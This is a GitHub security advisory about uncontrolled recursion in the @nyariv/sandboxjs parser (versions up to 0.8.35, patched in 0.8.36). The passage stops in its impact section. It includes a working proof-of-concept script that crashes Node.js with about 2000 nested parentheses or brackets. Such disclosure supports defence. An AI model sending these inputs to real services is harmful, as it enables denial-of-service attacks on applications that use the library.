GitHub Security Advisory: GHSA-8pfc-jjgw-6g26
Package: @nyariv/sandboxjs (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: <= 0.8.35
Patched in: 0.8.36

Summary: SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser

Details:
## Summary

The `@nyariv/sandboxjs` parser contains unbounded recursion in the `restOfExp` function and the `lispify`/`lispifyExpr` call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a `RangeError: Maximum call stack size exceeded` that terminates the process.

## Details

The root cause is in `src/parser.ts`. The `restOfExp` function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected `firstOpening`, it recursively calls itself at line 503:

```typescript
// src/parser.ts:486-505
} else if (closings[char]) {
  // ...
  if (char === firstOpening) {
    done = true;
    break;
  } else {
    const skip = restOfExp(constants, part.substring(i + 1), [], char);  // line 503
    cache.set(skip.start - 1, skip.end);
    i += skip.length + 1;
  }
}
```

Each nested bracket (`(`, `[`, `{`) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:

```typescript
export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
): CodeString {
```

A second unbounded recursive path exists through `lispify` → `lispTypes.get(type)` → `group` handler → `lispifyExpr` (line 672) → `lispify`, which processes parenthesized groups recursively with no depth limit.

All public API methods (`Sandbox.parse()`, `Sandbox.compile()`, `Sandbox.compileAsync()`, `Sandbox.compileExpression()`, `Sandbox.compileExpressionAsync()`) pass user input directly to `parse()` with no input validation or depth limiting.

A `RangeError: Maximum call stack size exceeded` in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.

## PoC

```bash
# Install the package
npm install @nyariv/sandboxjs

# Create test file
cat > poc.js << 'EOF'
const { default: Sandbox } = require('@nyariv/sandboxjs');
const s = new Sandbox();

// Trigger via nested parentheses
console.log("Testing nested parentheses...");
try {
  s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}

// Trigger via nested array brackets
console.log("Testing nested array brackets...");
try {
  s.compile('a' + '[0]'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}
EOF

node poc.js
```

**Expected output:**
```
Testing nested parentheses...
Crash: RangeError: Maximum call stack size exceeded
Testing nested array brackets...
Crash: RangeError: Maximum call stack size exceeded
```

Verified on Node.js v22 with `@nyariv/sandboxjs@0.8.35`.

## Impact

Any application using `@nyariv/sandbox